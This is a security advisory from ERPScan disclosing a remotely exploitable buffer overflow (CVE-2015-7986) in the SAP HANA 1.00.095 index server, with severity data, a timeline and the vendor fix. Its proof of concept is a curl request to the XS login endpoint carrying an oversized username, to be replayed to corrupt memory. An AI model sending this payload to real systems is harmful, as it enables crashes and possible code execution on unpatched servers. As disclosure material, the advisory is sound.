[ERPSCAN-15-024] SAP HANA hdbindexserver - Memory corruption
Application: SAP HANA
Versions Affected: SAP HANA 1.00.095
Vendor URL: http://SAP.com
Bugs: Memory corruption, RCE
Reported: 17.07.2015
Vendor response: 18.07.2015
Date of Public Advisory: 13.10.2015
Reference: SAP Security Note 2197428
Author: Mathieu Geli (ERPScan)
Description
1. ADVISORY INFORMATION
Title: SAP HANA 1.00.095
Advisory ID: [ERPSCAN-15-024]
Risk: Hight
Advisory URL: http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/
Date published: 13.10.2015
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: Memory corruption, RCE
Impact: full system compromise
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-7986
CVSS Information
CVSS Base Score: 9.3 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range)
Network (N)
AC : Access Complexity (Required attack complexity) Medium (M)
Au : Authentication (Level of authentication needed to exploit) None (N)
C : Impact to Confidentiality
Complete (C)
I : Impact to Integrity
Complete (C)
A : Impact to Availability
Complete (C)
3. VULNERABILITY DESCRIPTION
A buffer overflow vulnerability exists in SAP HANA interface. If an
attacker has a network access to the SQL interface or the SAP HANA
Extended Application Services interface of an SAP HANA system, the
vulnerability enables the attacker to inject code into the working
memory that is subsequently executed by the application. It can also
be used to cause a general fault in the product causing the product to
terminate.
Proof of concept
This authentication request should be replayed 10 times.
curl -v -XPOST http://hana:8000/sap/hana/xs/formLogin/login.xscfunc -H
'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H
'X-csrf-token: unsafe' -d
'xs-username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
4. VULNERABLE PACKAGES
SAP HANA 1.00.095.00
Other versions are probably affected too, but they were not checked.
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2197428
6. AUTHOR
Mathieu Geli (ERPScan)
7. TECHNICAL DESCRIPTION
An anonymous attacker can use a special HTTP request to corrupt SAP
HANA index server memory.
8. REPORT TIMELINE
Send: 17.07.2015
Reported: 17.07.2015
Vendor response: 18.07.2015
Date of Public Advisory: 13.10.2015
9. REFERENCES
http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/
10. ABOUT ERPScan Research
The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.
ERPScan experts have been invited to speak, present, and train at 60+
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trainings in several Fortune 2000 companies.
ERPScan researchers lead the project EAS-SEC, which is focused on
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We have highly qualified experts in staff with experience in many
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11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
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